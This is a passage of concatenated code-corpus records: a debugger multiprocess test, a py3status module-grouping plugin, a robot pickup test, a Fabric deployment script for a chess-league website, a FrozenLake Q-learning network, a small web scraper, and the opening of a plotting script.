dbgimporter import import_and_enable_debugger\n import_and_enable_debugger()\n while True:\n pass\n\n @pyfile\n def parent():\n import backchannel\n import os\n import subprocess\n import sys\n from dbgimporter import import_and_enable_debugger\n import_and_enable_debugger()\n argv = [sys.executable, sys.argv[1]]\n env = os.environ.copy()\n subprocess.Popen(argv, env=env, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n backchannel.read_json()\n\n debug_session.program_args += [child]\n debug_session.initialize(multiprocess=True, target=(run_as, parent), start_method=start_method, use_backchannel=True)\n debug_session.start_debugging()\n\n child_subprocess = debug_session.wait_for_next(Event('ptvsd_subprocess'))\n child_pid = child_subprocess.body['processId']\n child_port = child_subprocess.body['port']\n\n debug_session.proceed()\n\n child_session = DebugSession(start_method=START_METHOD_CMDLINE, ptvsd_port=child_port, pid=child_pid)\n child_session.expected_returncode = ANY\n child_session.connect()\n child_session.handshake()\n child_session.start_debugging()\n\n if debug_session.start_method == START_METHOD_LAUNCH:\n # In launch scenario, terminate the parent process by disconnecting from it.\n debug_session.expected_returncode = ANY\n disconnect = debug_session.send_request('disconnect', {})\n debug_session.wait_for_next(Response(disconnect))\n else:\n # In attach scenario, just let the parent process run to completion.\n debug_session.expected_returncode = 0\n debug_session.write_json(None)\n\n debug_session.wait_for_exit()\n child_session.wait_for_exit()\n","sub_path":"pytests/func/test_multiproc.py","file_name":"test_multiproc.py","file_ext":"py","file_size_in_byte":9493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"21517754","text":"# -*- coding: utf-8 -*-\n\"\"\"\nGroup modules and switch between them.\n\nIn `i3status.conf` groups can be configured. The active one of these groups is\nshown in the i3bar. The active group can be changed by a user click. If the\nclick is not used by the group module then it will be passed down to the\ndisplayed module.\n\nModules can be i3status core modules or py3status modules. The active group\ncan be cycled through automatically.\n\nThe group can handle clicks by reacting to any that are made on it or its\ncontent or it can use a button and only respond to clicks on that.\nThe way it does this is selected via the `click_mode` option.\n\nConfiguration parameters:\n align: Text alignment when fixed_width is set\n can be 'left', 'center' or 'right' (default 'center')\n button_next: Button that when clicked will switch to display next module.\n Setting to `0` will disable this action. (default 5)\n button_prev: Button that when clicked will switch to display previous\n module. Setting to `0` will disable this action. (default 4)\n button_toggle: Button that when clicked toggles the group content being\n displayed between open and closed.\n This action is ignored if `{button}` is not in the format.\n Setting to `0` will disable this action (default 1)\n click_mode: This defines how clicks are handled by the group.\n If set to `all` then the group will respond to all click events. This\n may cause issues with contained modules that use the same clicks that\n the group captures. If set to `button` then only clicks that are\n directly on the `{button}` are acted on. The group\n will need `{button}` in its format.\n (default 'all')\n cycle: Time in seconds till changing to next module to display.\n Setting to `0` will disable cycling. (default 0)\n fixed_width: Reduce the size changes when switching to new group\n (default False)\n format: display format for this module, see Examples below (default None)\n format_button_closed: Format for the button when group open\n (default '+')\n format_button_open: Format for the button when group closed\n (default '-')\n format_closed: Format for module output when closed.\n (default \"{button}\")\n open: Is the group open and displaying its content. Has no effect if\n `{button}` not in format (default True)\n\nFormat placeholders:\n {button} The button to open/close or change the displayed group\n {output} Output of current active module\n\nExamples:\n```\n# default formats\ngroup {\n format = '{output}' # if click_mode is 'all'\n format = '{output} {button}' # if click_mode is 'button'\n}\n\n# Create a disks group that will show space on '/' and '/home'\n# Change between disk modules every 30 seconds\n...\norder += \"group disks\"\n...\n\ngroup disks {\n cycle = 30\n format = \"Disks: {output} {button}\"\n click_mode = \"button\"\n\n disk \"/\" {\n format = \"/ %avail\"\n }\n\n disk \"/home\" {\n format = \"/home %avail\"\n }\n}\n```\n\n@author tobes\n\nSAMPLE OUTPUT\n{'full_text': 'module 1'}\n\ncycle\n{'full_text': 'module 2'}\n\ncycle_again\n{'full_text': 'module 3'}\n\"\"\"\n\nfrom time import time\n\n# maximum wait for initial content at startup\nMAX_NO_CONTENT_WAIT = 5\n\n\nclass Py3status:\n \"\"\"\n \"\"\"\n # available configuration parameters\n align = 'center'\n button_next = 5\n button_prev = 4\n button_toggle = 1\n click_mode = 'all'\n cycle = 0\n fixed_width = False\n format = None\n format_button_closed = u'+'\n format_button_open = u'-'\n format_closed = u'{button}'\n open = True\n\n class Meta:\n container = True\n\n def post_config_hook(self):\n # if no items don't cycle\n if not self.items:\n self.cycle = 0\n\n self._first_run = True\n self.active = 0\n self.last_active = 0\n self.urgent = False\n self._cycle_time = time() + self.cycle\n\n self.open = bool(self.open)\n # set default format etc based on click_mode\n if self.format is None:\n if self.click_mode == 'button':\n self.format = u'{output} {button}'\n else:\n self.format = u'{output}'\n # if no button then force open\n if not self.py3.format_contains(self.format, 'button'):\n self.open = True\n self.py3.register_function('content_function', self._content_function)\n self.py3.register_function('urgent_function', self._urgent_function)\n\n def _content_function(self):\n \"\"\"\n This returns a set containing the actively shown module. This is so we\n only get update events triggered for these modules.\n \"\"\"\n # ensure that active is valid\n self.active = self.active % len(self.items)\n\n return set([self.items[self.active]])\n\n def _urgent_function(self, module_list):\n \"\"\"\n A contained module has become urgent. We want to display it to the user\n \"\"\"\n for module in module_list:\n if module in self.items:\n self.active = self.items.index(module)\n self.urgent = True\n\n def _get_output(self):\n if not self.fixed_width:\n return self.py3.get_output(self.items[self.active])\n # fixed width we need to find the width of all outputs\n # and then pad with spaces to make correct width.\n current = []\n widths = []\n for i in range(len(self.items)):\n output = self.py3.get_output(self.items[i])\n if not output:\n widths.append(0)\n else:\n widths.append(sum([len(x['full_text']) for x in output]))\n if i == self.active:\n current = output\n current_width = widths[-1]\n if widths and current:\n width = max(widths)\n padding = ' ' * (width - current_width)\n if self.align == 'right':\n current[0]['full_text'] = padding + current[0]['full_text']\n elif self.align == 'center':\n cut = len(padding) // 2\n current[0]['full_text'] = padding[:cut] + \\\n current[0]['full_text']\n current[-1]['full_text'] += padding[cut:]\n else:\n current[-1]['full_text'] += padding\n return current\n\n def _get_current_module_name(self):\n if not self.items:\n return\n return self.items[self.active]\n\n def _change_active(self, delta):\n # we want to ignore any empty outputs\n # to prevent endless cycling we limit ourselves to only going through\n # the outputs once.\n self.active = (self.active + delta) % len(self.items)\n if not self._get_output() and self.last_active != self.active:\n self._change_active(delta)\n self.last_active = self.active\n\n def group(self):\n \"\"\"\n Display a output of current module\n \"\"\"\n\n # hide if no contents\n if not self.items:\n return {\n 'cached_until': self.py3.CACHE_FOREVER,\n 'full_text': '',\n }\n\n if self.open:\n urgent = False\n if self.cycle and time() >= self._cycle_time:\n self._change_active(1)\n self._cycle_time = time() + self.cycle\n update_time = self.cycle or None\n current_output = self._get_output()\n # if the output is empty try and find some output\n if not current_output:\n if self._first_run:\n self._first_run = False\n return {\n 'cached_until': self.py3.time_in(MAX_NO_CONTENT_WAIT),\n 'full_text': '',\n }\n\n self._change_active(1)\n current_output = self._get_output()\n # there is no output for any module retry later\n self._first_run = False\n else:\n urgent = self.urgent\n current_output = []\n update_time = None\n\n if self.open:\n format_control = self.format_button_open\n format = self.format\n else:\n format_control = self.format_button_closed\n format = self.format_closed\n\n button = {'full_text': format_control, 'index': 'button'}\n composites = {\n 'output': self.py3.composite_create(current_output),\n 'button': self.py3.composite_create(button),\n }\n output = self.py3.safe_format(format, composites)\n\n if update_time is not None:\n cached_until = self.py3.time_in(update_time)\n else:\n cached_until = self.py3.CACHE_FOREVER\n\n response = {\n 'cached_until': cached_until,\n 'full_text': output\n }\n\n if urgent:\n response['urgent'] = urgent\n return response\n\n def on_click(self, event):\n \"\"\"\n Switch the displayed module or pass the event on to the active module\n \"\"\"\n if not self.items:\n return\n\n # if click_mode is button then we only action clicks that are\n # directly on the group not its contents.\n if self.click_mode == 'button':\n if (not self.py3.is_my_event(event) or\n event.get('index') != 'button'):\n return\n\n # reset cycle time\n self._cycle_time = time() + self.cycle\n if self.button_next and event['button'] == self.button_next:\n self._change_active(1)\n if self.button_prev and event['button'] == self.button_prev:\n self._change_active(-1)\n if self.button_toggle and event['button'] == self.button_toggle:\n # we only toggle if button was used\n if event.get('index') == 'button':\n self.urgent = False\n self.open = not self.open\n\n\nif __name__ == \"__main__\":\n \"\"\"\n Run module in test mode.\n \"\"\"\n from py3status.module_test import module_test\n module_test(Py3status)\n","sub_path":"py3status/modules/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":10117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"428399630","text":"from tamproxy import SyncedSketch, Timer\nfrom tamproxy.devices import Motor, Encoder, DigitalInput\nfrom pickup import PickupModule\nfrom constants import *\n\nclass TestPickup(SyncedSketch):\n\n def setup(self):\n limSwitch = DigitalInput(self.tamp, CONVEYOR_LIMIT_SWITCH)\n conveyorMotor = Motor(self.tamp, BELT_MOTOR_CONTROLLER_DIRECTION, BELT_MOTOR_CONTROLLER_PWM)\n conveyorEncoder = Encoder(self.tamp, BELT_MOTOR_ENCODER_YELLOW, BELT_MOTOR_ENCODER_WHITE)\n self.pickup = PickupModule(Timer(), limSwitch, conveyorMotor, conveyorEncoder)\n self.pickup.start()\n\n def loop(self):\n response = self.pickup.run()\n if response != MODULE_PICKUP:\n self.stop()\n\n\nif __name__ == \"__main__\":\n sketch = TestPickup(1, -0.00001, 100)\n sketch.run()","sub_path":"modules/test_pickup.py","file_name":"test_pickup.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"283272239","text":"import os\nimport sys\nimport datetime\nimport strabulous\n\nfrom fabric.api import (\n local,\n sudo,\n lcd,\n env,\n hosts,\n put,\n run,\n get,\n settings,\n shell_env,\n)\nfrom fabric import colors\nfrom fabric.contrib.console import confirm\n\nfrom baste import (\n DiffCommand,\n Git,\n Mercurial,\n Mercurial,\n OrderedDict,\n project_relative,\n python_dependency,\n PgLoadPlain,\n RsyncDeployment,\n RsyncMedia,\n StatusCommand,\n Subversion,\n UbuntuPgCreateDbAndUser,\n )\n\n\nos.environ.setdefault(\"HELTOUR_ENV\", \"LIVE\")\n\n#-------------------------------------------------------------------------------\ndef import_db_name():\n from heltour.settings import DATABASES\n return DATABASES['default']['NAME']\n\n#-------------------------------------------------------------------------------\ndef import_db_user():\n from heltour.settings import DATABASES\n return DATABASES['default']['USER']\n\n#-------------------------------------------------------------------------------\ndef get_password():\n from heltour.settings import DATABASES\n return DATABASES['default']['PASSWORD']\n\n\n\n#-------------------------------------------------------------------------------\n# Figure out where we are on the directory system\nimport os.path\nimport sys\n\nrelative_path_to_this_module = os.path.dirname(os.path.abspath(sys.modules[__name__].__file__))\nabsolute_path_to_this_module = os.path.abspath(relative_path_to_this_module)\n\nPYTHON_VERSION = \"python{0}.{1}\".format(*sys.version_info)\nPROJECT_NAME = 'heltour'\nPYTHON_PACKAGE_NAME = PROJECT_NAME\nPASSWORD_FILE_NAME = '%s.txt' % PROJECT_NAME\nLIVE_BACKUP_SCRIPT_PATH = \"/home/lichess4545/web/www.lichess4545.com/current/sysadmin/backup.sh\"\nenv.roledefs = {\n 'live': ['lichess4545@marta.lichess.ovh'],\n 'staging': ['lichess4545@marta.lichess.ovh'],\n }\n\n# TODO: we don't have any of these yet, but I prefer these over git submodules.\n# mostly because I don't always use git, and git submodules are frustratingly\n# limited to git. :(\npython_repos = OrderedDict([(repo.name, repo) for repo in []])\nstatic_file_repos = OrderedDict([(repo.name, repo) for repo in []])\nall_repos = python_repos.copy()\nall_repos.update(static_file_repos)\nall_repos['baste'] = Mercurial('env/src/baste', 'https://bitbucket.org/lakin.wecker/baste')\nall_repos['container'] = Git('.', 'git@github.com:lakinwecker/heltour.git', 'master')\n\n#-------------------------------------------------------------------------------\nst = status = StatusCommand(all_repos)\n\n#-------------------------------------------------------------------------------\ndef update():\n \"\"\"\n Update all of the dependencies to their latest versions.\n \"\"\"\n for repo in list(all_repos.values()):\n repo.update()\n\n for repo in list(python_repos.values()):\n python_dependency(repo.name, PYTHON_VERSION)\n\n python_dependency('heltour', PYTHON_VERSION)\n local(\"pip install -r {}\".format(project_relative(\"requirements.txt\")))\n\nup = update # defines 'up' as the shortcut for 'update'\n\n#-------------------------------------------------------------------------------\ndef deploylive():\n manage_py = project_relative(\"manage.py\")\n local(\"python %s collectstatic --noinput\" % manage_py)\n if confirm(colors.red(\"This will deploy to the live server (LIVE ENV) and restart the server. Are you sure?\")):\n remote_directory = \"/home/lichess4545/web/www.lichess4545.com\"\n local_directory = project_relative(\".\") + \"/\"\n RsyncDeployment(\n remote_directory,\n local_directory\n )(\n exclude=['env', 'data', 'lichess4545@marta.lichess.ovh', 'certs']\n )\n run(\"echo \\\"/home/lichess4545/web/www.lichess4545.com/current/\\\" > /home/lichess4545/web/www.lichess4545.com/env/lib/python3.6/site-packages/heltour.pth\")\n\n if confirm(colors.red(\"Would you like to update the dependencies?\")):\n run(\"/home/lichess4545/web/www.lichess4545.com/current/sysadmin/update-requirements-live.sh\")\n if confirm(colors.red(\"Would you like to run the migrations?\")):\n run(\"/home/lichess4545/web/www.lichess4545.com/current/sysadmin/migrate-live.sh\")\n if confirm(colors.red(\"Would you like to invalidate the caches?\")):\n run(\"/home/lichess4545/web/www.lichess4545.com/current/sysadmin/invalidate-live.sh\")\n\n if confirm(colors.red(\"Would you like to restart the server?\")):\n sudo(\"/usr/sbin/service heltour-live restart\", shell=False)\n sudo(\"/usr/sbin/service heltour-live-api restart\", shell=False)\n sudo(\"/usr/sbin/service heltour-live-celery restart\", shell=False)\n\n if confirm(colors.red(\"Would you like to reload nginx?\")):\n sudo(\"/usr/sbin/service nginx reload\", shell=False)\n\n#-------------------------------------------------------------------------------\ndef deploystaging():\n manage_py = project_relative(\"manage_staging.py\")\n local(\"python %s collectstatic --noinput\" % manage_py)\n if confirm(colors.red(\"This will deploy to the live server (STAGING ENV) and restart the server. Are you sure?\")):\n remote_directory = \"/home/lichess4545/web/staging.lichess4545.com\"\n local_directory = project_relative(\".\") + \"/\"\n RsyncDeployment(\n remote_directory,\n local_directory\n )(\n exclude=['env', 'data', 'lichess4545@marta.lichess.ovh', 'certs']\n )\n run(\"echo \\\"/home/lichess4545/web/staging.lichess4545.com/current/\\\" > /home/lichess4545/web/staging.lichess4545.com/env/lib/python3.6/site-packages/heltour.pth\")\n\n if confirm(colors.red(\"Would you like to update the dependencies?\")):\n run(\"/home/lichess4545/web/staging.lichess4545.com/current/sysadmin/update-requirements-staging.sh\")\n if confirm(colors.red(\"Would you like to run the migrations?\")):\n run(\"/home/lichess4545/web/staging.lichess4545.com/current/sysadmin/migrate-staging.sh\")\n if confirm(colors.red(\"Would you like to invalidate the caches?\")):\n run(\"/home/lichess4545/web/staging.lichess4545.com/current/sysadmin/invalidate-staging.sh\")\n\n if confirm(colors.red(\"Would you like to restart the server?\")):\n sudo(\"/usr/sbin/service heltour-staging restart\", shell=False)\n sudo(\"/usr/sbin/service heltour-staging-api restart\", shell=False)\n sudo(\"/usr/sbin/service heltour-staging-celery restart\", shell=False)\n\n if confirm(colors.red(\"Would you like to reload nginx?\")):\n sudo(\"/usr/sbin/service nginx reload\", shell=False)\n\n#-------------------------------------------------------------------------------\ndef restartlive():\n if confirm(colors.red(\"Would you like to invalidate the caches?\")):\n run(\"/home/lichess4545/web/www.lichess4545.com/current/sysadmin/invalidate-live.sh\")\n\n if confirm(colors.red(\"Would you like to restart the server?\")):\n sudo(\"/usr/sbin/service heltour-live restart\", shell=False)\n sudo(\"/usr/sbin/service heltour-live-api restart\", shell=False)\n sudo(\"/usr/sbin/service heltour-live-celery restart\", shell=False)\n\n#-------------------------------------------------------------------------------\ndef restartstaging():\n if confirm(colors.red(\"Would you like to invalidate the caches?\")):\n run(\"/home/lichess4545/web/staging.lichess4545.com/current/sysadmin/invalidate-staging.sh\")\n\n if confirm(colors.red(\"Would you like to restart the server?\")):\n sudo(\"/usr/sbin/service heltour-staging restart\", shell=False)\n sudo(\"/usr/sbin/service heltour-staging-api restart\", shell=False)\n sudo(\"/usr/sbin/service heltour-staging-celery restart\", shell=False)\n\n#-------------------------------------------------------------------------------\ndef restartchesster():\n if confirm(colors.red(\"Would you like to restart chesster?\")):\n sudo(\"/usr/sbin/service chesster restart\", shell=False)\n\n#-------------------------------------------------------------------------------\ndef createdb():\n DATABASE_NAME = import_db_name()\n DATABASE_USER = import_db_user()\n strabulous.createdb(DATABASE_NAME, DATABASE_USER, get_password)\n\n#-------------------------------------------------------------------------------\ndef latestdb():\n DATABASE_NAME = import_db_name()\n DATABASE_USER = import_db_user()\n if not env.roles:\n print(\"Usage: fab -R [staging|live] latestdb\")\n return\n\n if env.roles == ['live']:\n LIVE_LATEST_SQL_FILE_PATH = \"/home/lichess4545/backups/heltour-sql/hourly/latest.sql.bz2\"\n strabulous.latest_live_db(LIVE_BACKUP_SCRIPT_PATH, LIVE_LATEST_SQL_FILE_PATH, DATABASE_NAME, DATABASE_USER, get_password)\n elif env.roles == ['staging']:\n local(\"mkdir -p {}\".format(project_relative(\"data\")))\n local_target = project_relative(\"data/latestdb.sql.bz2\")\n devdb_source = \"http://staging.lichess4545.com/devdb.sql.bz2\"\n local(\"wget -O {} {}\".format(local_target, devdb_source))\n PgLoadPlain(local_target, DATABASE_NAME, DATABASE_USER)()\n\n\n#-------------------------------------------------------------------------------\ndef runserver():\n manage_py = project_relative(\"manage.py\")\n local(\"python %s runserver 0.0.0.0:8000\" % manage_py)\n\n#-------------------------------------------------------------------------------\ndef cleansedb():\n manage_py = project_relative(\"manage.py\")\n local(\"python %s cleansedb\" % manage_py)\n local(\"python %s deleterevisions\" % manage_py)\n\n#-------------------------------------------------------------------------------\ndef runapiworker():\n manage_py = project_relative(\"manage.py\")\n with shell_env(HELTOUR_APP=\"API_WORKER\"):\n local(\"python %s runserver 0.0.0.0:8880\" % manage_py)\n\n#-------------------------------------------------------------------------------\ndef letsencrypt(real_cert=False):\n domain = \"lichess4545.com\"\n domain2 = \"lichess4545.tv\"\n domain3 = \"staging.lichess4545.com\"\n domains = [\n domain,\n \"www.{0}\".format(domain),\n domain2,\n \"www.{0}\".format(domain2),\n domain3,\n ]\n country = \"CA\"\n state = \"Alberta\"\n town = \"Calgary\"\n email = \"lakin.wecker@gmail.com\"\n\n now = datetime.datetime.now()\n outdir = project_relative(now.strftime(\"certs/%Y-%m\"))\n if os.path.exists(outdir):\n print(colors.red(\"{0} exists, bailing to avoid overwriting files\".format(outdir)))\n return\n key = \"{0}/privkey1.pem\".format(outdir)\n csr = \"{0}/signreq.der\".format(outdir)\n tmpdir = \"{0}/tmp\".format(outdir)\n ssl_conf = \"{0}/openssl.cnf\".format(tmpdir)\n local(\"mkdir -p {0}\".format(tmpdir))\n with lcd(outdir):\n # Create an openssl.cnf that we can use.\n sans = \",\".join([\"DNS:{0}\".format(d) for d in domains])\n local('cat /etc/ssl/openssl.cnf > \"{0}\"'.format(ssl_conf))\n local('echo \"[SAN]\" >> \"{0}\"'.format(ssl_conf))\n local('echo \"subjectAltName={1}\" >> \"{0}\"'.format(ssl_conf, sans))\n # Create the signing request.\n local('openssl req -new -newkey rsa:2048 -sha256 -nodes -keyout \"{key}\" -out \"{csr}\" -outform der -subj \"/C={country}/ST={state}/L={town}/O={domain}/emailAddress={email}/CN={domain}\" -reqexts SAN -config \"{ssl_conf}\"'.format(\n key=key,\n csr=csr,\n country=country,\n state=state,\n town=town,\n domain=domain,\n email=email,\n ssl_conf=ssl_conf,\n ))\n\n domain_args = \" \".join([\"-d {0}\".format(d) for d in domains])\n log_dir = \"{0}/log\".format(outdir)\n lib_dir = \"{0}/lib\".format(outdir)\n etc_dir = \"{0}/etc\".format(outdir)\n test_cert = \"--test-cert\"\n if real_cert:\n test_cert = \"\"\n local('letsencrypt certonly --text {test_cert} --manual {domain_args} --config-dir {etc_dir} --logs-dir {log_dir} --work-dir {lib_dir} --email \"{email}\" --csr \"{csr}\"'.format(\n domain_args=domain_args,\n log_dir=log_dir,\n lib_dir=lib_dir,\n etc_dir=etc_dir,\n email=email,\n csr=csr,\n test_cert=test_cert\n ))\n if real_cert and confirm(\"Install cert?\"):\n privkey = os.path.join(outdir, \"privkey1.pem\")\n chain = os.path.join(outdir, \"0001_chain.pem\")\n privkey_target = \"/home/lichess4545/web/lichess4545.com.key\"\n chain_target = \"/home/lichess4545/web/lichess4545.com.pem\"\n put(privkey, privkey_target)\n put(chain, chain_target)\n","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":12659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"486978909","text":"import gym\r\nimport numpy as np\r\nimport torch.nn as nn\r\nfrom torch.optim import SGD\r\nimport torch\r\nfrom torch.autograd import Variable\r\n\r\n# Load environment\r\nenv = gym.make('FrozenLake-v0')\r\n\r\n\r\n# Define the neural network mapping 16x1 one hot vector to a vector of 4 Q values\r\n# and training loss\r\nclass QNet(nn.Module):\r\n INPUT_SIZE = env.observation_space.n\r\n OUTPUT_SIZE = env.action_space.n\r\n\r\n def __init__(self):\r\n super(QNet, self).__init__()\r\n self.model = nn.Linear(self.INPUT_SIZE, self.OUTPUT_SIZE)\r\n\r\n def forward(self, x):\r\n return self.model(x)\r\n\r\n @staticmethod\r\n def state_to_vector(state):\r\n s_vector = torch.zeros(env.observation_space.n)\r\n s_vector[state] = 1.\r\n return s_vector\r\n\r\nq_net = QNet()\r\nloss_crit = nn.MSELoss()\r\noptimizer = SGD(q_net.parameters(), lr=0.2)\r\n\r\n# Implement Q-Network learning algorithm\r\n\r\n# Set learning parameters\r\ny = .99\r\ne = 0.1\r\nnum_episodes = 2000\r\n# create lists to contain total rewards and steps per episode\r\njList = []\r\nrList = []\r\nfor i in range(num_episodes):\r\n # Reset environment and get first new observation\r\n s = env.reset()\r\n rAll = 0\r\n d = False\r\n j = 0\r\n # The Q-Network\r\n while j < 99:\r\n j += 1\r\n # 1. Choose an action greedily from the Q-network\r\n # (run the network for current state and choose the action with the maxQ)\r\n current_state_vector = Variable(q_net.state_to_vector(s).unsqueeze(0))\r\n Q0 = q_net(current_state_vector)\r\n a = np.argmax(Q0.squeeze(0).data.numpy())\r\n\r\n # 2. A chance of e to perform random action\r\n if np.random.rand(1) < e:\r\n a = env.action_space.sample()\r\n\r\n # 3. Get new state(mark as s1) and reward(mark as r) from environment\r\n s1, r, d, _ = env.step(a)\r\n\r\n # 4. Obtain the Q'(mark as Q1) values by feeding the new state through our network\r\n next_state_vector = Variable(q_net.state_to_vector(s1).unsqueeze(0))\r\n Q1 = q_net(next_state_vector).data\r\n\r\n # 5. Obtain maxQ' and set our target value for chosen action using the bellman equation.\r\n maxQ1 = torch.max(Q1)\r\n Q_target = Q0.data.clone().squeeze(0)\r\n Q_target[a] = r + y * maxQ1\r\n Q_target = Variable(Q_target).unsqueeze(0)\r\n\r\n # 6. Train the network using target and predicted Q values (model.zero(), forward, backward, optim.step)\r\n optimizer.zero_grad()\r\n # Q0 = q_net(current_state_vector)\r\n loss = loss_crit(Q0, Q_target)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n rAll += r\r\n s = s1\r\n if d:\r\n # Reduce chance of random action as we train the model.\r\n e = 1./((i/50) + 10)\r\n break\r\n jList.append(j)\r\n rList.append(rAll)\r\n\r\n# Reports\r\nprint(\"Score over time: \" + str(sum(rList)/num_episodes))\r\n","sub_path":"Ex3/guy/network_Q.py","file_name":"network_Q.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"489355707","text":"import requests\nfrom bs4 import BeautifulSoup\n\nresponse = requests.get(\"https://www.premierleague.com/\")\nurl_doc = response.text\n\nparser_doc = BeautifulSoup(url_doc, \"html.parser\")\nrank_data = parser_doc.select(\".team\")\n\nprint(rank_data[1].text)\n\n\n# url = \"https://finance.naver.com/marketindex/\"\n\n# response = requests.get(url).text\n# soup = BeautifulSoup(response, \"html.parser\")\n\n# data_set = soup.select(\".value\")\n# #select 함수로 value 클래스 전체를 부르기, .은 class의 의미\n# data = data_set[1].text\n# print(\"JPY\")\n# print(data)\n","sub_path":"0_Startcamp/Day_4/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"593316126","text":"#!/usr/bin/env python3\nimport argparse\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\nimport yaml\nfrom yaml import CLoader\nimport argparse\nimport subprocess\nimport os\nimport shutil\nimport time\nimport re\nimport sys\nimport numpy as np\nfrom pathlib import Path\nimport itertools\nimport math\nimport pandas as pd\nimport seaborn as sns\nfrom matplotlib.lines import Line2D\nimport numpy as np\nimport scipy.stats\n\ntex_fonts = {\n# Use LaTeX to write all text\n\"text.usetex\": True,\n\"font.family\": \"serif\",\n# Use 10pt font in plots, to match 10pt font in document\n\"axes.labelsize\": 8,\n\"font.size\": 8,\n# Make the legend/label fonts a little smaller\n\"legend.fontsize\": 6,\n\"xtick.labelsize\": 8,\n\"ytick.labelsize\": 8\n}\n\n\ndef set_size(width, fraction=1):\n \"\"\"Set figure dimensions to avoid scaling in LaTeX.\n Parameters\n ----------\n width: float\n Document textwidth or columnwidth in pts\n fraction: float, optional\n Fraction of the width which you wish the figure to occupy\n Returns\n -------\n fig_dim: tuple\n Dimensions of figure in inches\n \"\"\"\n # Width of figure (in pts)\n fig_width_pt = width * fraction\n # Convert from pt to inches\n inches_per_pt = 1 / 72.27\n # Golden ratio to set aesthetic figure height\n # https://disq.us/p/2940ij3\n golden_ratio = (5**.5 - 1) / 2\n # Figure width in inches\n fig_width_in = fig_width_pt * inches_per_pt\n # Figure height in inches\n fig_height_in = fig_width_in * golden_ratio\n fig_dim = (fig_width_in, fig_height_in)\n return fig_dim\n\n\nplt.rcParams.update(tex_fonts)\n\n\nregion_names = {}\n\n\ndef mean_confidence_interval(data, confidence=0.95):\n a = 1.0 * np.array(data)\n n = len(a)\n m, se = np.mean(a), scipy.stats.sem(a)\n h = se * scipy.stats.t.ppf((1 + confidence) / 2., n-1)\n return m, m-h, m+h\n\ndef logMape(vals):\n tmp = vals + 1\n tmp = np.log10(tmp)\n return tmp\n\nregion_names[\"hotspot\"] = { \"OUTER_STENCIL\" : \"OUTER-ST-LOOP\",\n \"PARALLEL_LOOP\" : \"PARALLEL-LOOP\"\n }\n\nregion_names[\"blackscholes\"] = { \"CNDF_1\" : \"Cndf-1\",\n \"CNDF_2\" : \"Cndf-2\",\n \"ENTIRE\" : \"BlsEq\",\n \"exp\" : \"Exp\"\n }\n\nregion_names[\"CFD\"] = { \"compute_flux_contributions\" : \"CFC\",\n \"compute_flux\" : \"CC\",\n }\n\nregion_names[\"HPCCG\"] = { \"SPARSE_MV_INNER\" : \"SPMV-IN\",\n \"SPARSE_MV_OUTER\" : \"SPMV-OUT\",\n \"waxpby\" : \"WAXPBY\",\n \"ddot\" : \"DOT\",\n \"ddot_r2\" : \"R2\"\n }\n\nregion_names[\"kmeans\"] = { \"euclid_dist_2\" : \"ED\",\n \"find_nearest_point\" : \"FN\",\n }\n\nregion_names[\"lavaMD\"] = {\n \"BODY\" : \"BODY\",\n \"ITERATE_PARTICLES_X\" : \"ITER-X\",\n \"ITERATE_NEIGHBORS\" : \"ITE-N\",\n \"ITERATE_PARTICLES_Y\" : \"ITER-P\",\n \"NUMBER_BOXES\" : \"ITER-B\"\n }\n\nregion_names[\"leukocyte\"] = {\n \"find_min\" : \"FM\",\n \"update_cell_location\" : \"UCL\",\n \"find_diff\" : \"FD\",\n \"find_length\" : \"FL\",\n \"ellipseevolve\" : \"EE\"\n}\n\n\nregion_names[\"lulesh\"] = {\n \"CalcElemShapeFunctionDerivatives2\": \"SH\",\n \"CombineDerivativesAndNormals\" : \"NO\",\n \"CalcElemVolumeDerivative\" : \"VO\",\n \"CalcElemFBHourglassForce\" : \"HG\",\n \"CalcElemCharacteristicLength\" : \"EL\",\n \"CalcElemVelocityGradient2\" : \"VE\",\n \"CalcElemVolumeKinematics\" : \"VK\",\n \"COMPUTEPRESSURE\" : \"CO\",\n \"CalcMonotonicQForElems\" : \"EL\",\n \"CalcEnergyForElems\" : \"EL\",\n \"CalcSoundSpeedForElems\" : \"CA\",\n \"CalcMonotonicQGradientsForElems\" : \"MO\",\n \"CalcMonotonicQRegionForElems\" : \"MO\",\n \"CalcVelocityForNodes\" : \"VE\"\n }\n\nregion_names[\"pFilter\"]={\n \"LIKELIHOOD\" : \"LH\",\n \"WEIGHT_SUM\" : \"WS\",\n \"findIndex\" : \"FD\",\n }\n\nerror_type = { \"kmeans\" : \"MPP(%)\",\n \"CFD\" : \"MAPE(%)\",\n \"lulesh\" : \"MAPE(%)\",\n \"HPCCG\" : \"log(MAPE(%)+1)\",\n \"leukocyte\" : \"MAPE(error(%)\",\n \"pFilter\" : \"log(MAPE(%)+1)\",\n \"blackscholes\" : \"MAPE(%)\",\n \"lavaMD\" : \"log(MAPE(%)+1)\",\n \"hotspot\" : \"MAPE(%)\",\n }\n\n\nerror_type_transform = { \"kmeans\" : None,\n \"CFD\" : None,\n \"lulesh\" : None,\n \"HPCCG\" : logMape,\n \"leukocyte\" : None,\n \"pFilter\" : logMape,\n \"blackscholes\" : None,\n \"lavaMD\" : logMape,\n \"hotspot\" : None\n }\n\nperf_names ={ \"iPerfo\" : \"IP\",\n \"fPerfo\" : \"FP\",\n \"sPerfo\" : \"SP\",\n \"lPerfo\" : \"LP\",\n \"rPerfo\" : \"RP\",\n \"TAF\" : \"TAF\",\n \"iACT\" : \"iACT\"\n }\n\nperf_grouped_names ={ \"iPerfo\" : \"PERFO\",\n \"fPerfo\" : \"PERFO\",\n 